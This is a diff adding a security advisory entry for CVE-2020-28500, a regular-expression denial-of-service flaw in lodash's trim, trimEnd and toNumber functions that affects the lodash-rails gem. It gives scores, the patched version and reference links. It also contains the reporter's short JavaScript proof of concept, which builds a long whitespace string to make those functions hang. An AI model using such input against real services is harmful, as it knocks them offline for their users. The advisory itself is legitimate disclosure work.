|
| 1 | +--- |
| 2 | +layout: advisory |
| 3 | +title: 'CVE-2020-28500 (lodash-rails): Regular Expression Denial of Service (ReDoS) |
| 4 | + in lodash' |
| 5 | +comments: false |
| 6 | +categories: |
| 7 | +- lodash-rails |
| 8 | +advisory: |
| 9 | + gem: lodash-rails |
| 10 | + cve: 2020-28500 |
| 11 | + ghsa: 29mw-wpgm-hmr9 |
| 12 | + url: https://github.com/advisories/GHSA-29mw-wpgm-hmr9 |
| 13 | + title: Regular Expression Denial of Service (ReDoS) in lodash |
| 14 | + date: 2022-01-06 |
| 15 | + description: | |
| 16 | + All versions of package lodash prior to 4.17.21 are vulnerable |
| 17 | + to Regular Expression Denial of Service (ReDoS) via the |
| 18 | + `toNumber`, `trim` and `trimEnd` functions. |
| 19 | +
|
| 20 | + Steps to reproduce (provided by reporter Liyuan Chen): |
| 21 | +
|
| 22 | + ``` |
| 23 | + var lo = require('lodash'); |
| 24 | +
|
| 25 | + function build_blank(n) { |
| 26 | + var ret = "1" |
| 27 | + for (var i = 0; i < n; i++) { |
| 28 | + ret += " " |
| 29 | + } |
| 30 | + return ret + "1"; |
| 31 | + } |
| 32 | + var s = build_blank(50000) var time0 = Date.now(); |
| 33 | + lo.trim(s) |
| 34 | + var time_cost0 = Date.now() - time0; |
| 35 | + console.log("time_cost0: " + time_cost0); |
| 36 | + var time1 = Date.now(); |
| 37 | + lo.toNumber(s) var time_cost1 = Date.now() - time1; |
| 38 | + console.log("time_cost1: " + time_cost1); |
| 39 | + var time2 = Date.now(); |
| 40 | + lo.trimEnd(s); |
| 41 | + var time_cost2 = Date.now() - time2; |
| 42 | + console.log("time_cost2: " + time_cost2); |
| 43 | + ``` |
| 44 | + cvss_v2: 5.0 |
| 45 | + cvss_v3: 5.3 |
| 46 | + patched_versions: |
| 47 | + - ">= 4.17.21" |
| 48 | + related: |
| 49 | + url: |
| 50 | + - https://nvd.nist.gov/vuln/detail/CVE-2020-28500 |
| 51 | + - https://github.com/lodash/lodash/pull/5065 |
| 52 | + - https://github.com/lodash/lodash/pull/5065/commits/02906b8191d3c100c193fe6f7b27d1c40f200bb7 |
| 53 | + - https://github.com/lodash/lodash/blob/npm/trimEnd.js |
| 54 | + - https://snyk.io/vuln/SNYK-JS-LODASH-1018905 |
| 55 | + - https://snyk.io/vuln/SNYK-JAVA-ORGFUJIONWEBJARS-1074896 |
| 56 | + - https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1074894 |
| 57 | + - https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1074892 |
| 58 | + - https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBLODASH-1074895 |
| 59 | + - https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1074893 |
| 60 | + - https://www.oracle.com//security-alerts/cpujul2021.html |
| 61 | + - https://www.oracle.com/security-alerts/cpuoct2021.html |
| 62 | + - https://www.oracle.com/security-alerts/cpujan2022.html |
| 63 | + - https://www.oracle.com/security-alerts/cpujul2022.html |
| 64 | + - https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf |
| 65 | + - https://github.com/lodash/lodash/commit/c4847ebe7d14540bb28a8b932a9ce1b9ecbfee1a |
| 66 | + - https://security.netapp.com/advisory/ntap-20210312-0006 |
| 67 | + - https://github.com/advisories/GHSA-29mw-wpgm-hmr9 |
| 68 | +--- |
0 commit comments